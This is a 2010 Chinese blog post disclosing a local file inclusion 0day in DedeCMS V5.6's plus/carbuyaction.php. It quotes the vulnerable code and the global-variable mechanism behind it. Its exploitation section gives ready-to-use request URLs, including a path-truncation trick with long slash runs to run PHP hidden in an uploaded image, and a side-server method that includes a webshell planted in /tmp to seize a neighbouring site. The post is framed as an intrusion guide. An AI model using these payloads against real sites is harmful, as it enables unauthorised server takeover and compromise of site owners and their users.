www.51xiaofeng.com
DedeCmsV5.6再爆0day 本地包含 鸡助0day漏洞
DedeCmsV5.6 程序plus/carbuyaction.php 变量未初始化,造成本地文件包含漏洞。
代码:
<?php require_once (dirname(__FILE__) . “/../include/common.inc.php”); define(‘_PLUS_TPL_’, DEDEROOT.’/templets/plus’); require_once DEDEINC.’/dedetemplate.class.php’; require_once DEDEINC.’/shopcar.class.php’; require_once DEDEINC.’/memberlogin.class.php’; if($cfg_mb_open==’N') { ShowMsg(“系统关闭了会员功能,因此你无法访问此页面!”,”javascript:;”); exit(); } $cfg_ml = new MemberLogin(); if(!isset($dopost) || empty($dopost)){ //只要$dopost不为空就行,By:qing。 … }elseif($dopost == ‘return’){ require_once DEDEINC.’/payment/’.$code.’.php’; //变量$code未初始化, $pay = new $code; $msg=$pay->respond(); ShowMsg($msg,”javascript:;”,0,3000); exit(); } ?>
测试代码:http://www.hackqing.cn/plus/carbuyaction.php?dopost=return&code=../../
1、 plus/carbuyaction.php文件:
//漏洞出现下$dopost 为return的时候,$code变量没有被赋值,由于dedecms的全局机制可以任意给其赋值,从而带入包含,导致本地包含漏洞。
…
elseif($dopost == ‘return’){ //$code直接引入, require_once DEDEINC.’/payment/’.$code.’.php’; $pay = new $code; $msg=$pay->respond(); ShowMsg($msg,”javascript:;”,0,3000); exit(); }
…
2、 include/common.inc.php:
//无论是否打开magic_quotes_gpc,系统都对传进来的变量进行了addslashes处理,…
function _RunMagicQuotes(&$svar) { if(!get_magic_quotes_gpc()) { if( is_array($svar) ) { foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v); } else { $svar = addslashes($svar); } } return $svar; } //模拟register_globals,对_GET、_POST、_COOKIE全局化, foreach(Array(‘_GET ‘,’_POST’,'_COOKIE’) as $_request) { foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v); }
…
三、漏洞利用
1. windows系统:
IIS或者某些apache版本下php文件系统可以进行路径截断,
可以通过
///////////////////////////////////(若干/)
/././././././././././././././././(若干/.)
进行截断。
于是可以上传一个精心构造带有恶意php代码的图片,然后注册一个用户上传,比如上传到uploads/userup/2/12Ka5357-c53.jpg,于是可以通过访问:
http://127.0.0.1/ plus/carbuyaction.php?dopost=return&code=../../uploads/userup/2/12Ka5357-c53.jpg///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////(若干/)
则有可能执行12Ka5357-c53.jpg中的恶意php代码,从而达到入侵的目的。
2.linux系统:
1)apache某些版本php文件系统支持路径截断,于是同windows下,可以通过
///////////////////////////////////(若干/)
/././././././././././././././././(若干/.)
进行截断。
利用方法同windows:
于是可以上传一个精心构造带有恶意php代码的图片,然后注册一个用户上传,比如上传到uploads/userup/2/12Ka5357-c53.jpg,于是可以通过访问:
http://127.0.0.1/ plus/carbuyaction.php?dopost=return&code=../../uploads/userup/2/12Ka5357-c53.jpg///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////(若干/)
则有可能执行12Ka5357-c53.jpg中的恶意php代码,从而达到入侵的目的。
2)旁注攻击
比如目标站是www.aaa.com,漏洞文件是:
http://www.aaa.com/ plus/carbuyaction.php
同服务器有个站点www.bbb.com可以轻松入侵,拿到webshell,但是由于权限控制,www.bbb.com站的webshell访问或者控制不了www.aaa.com,于是我们可以通过这个本地包含漏洞达到入侵www.aaa.com的目的。
1. 通过www.bbb.com上传一个webshell到/tmp文件夹下,比如文件名是shell.php;
2. 访问http://www.aaa.com/plus/carbuyaction.php?code=../../../../../../../tmp/shell则可以成功包含我们上传到临时文件夹下的webshell,由于当前是www.aaa.com的权限,则可以完全控制目标站点:www.aaa.com。
| 打印文章 | 这篇文章由小枫于2010年06月26日 2:19 下午发表在即时新闻。你可以订阅RSS 2.0 也可以发表评论或引用到你的网站。 |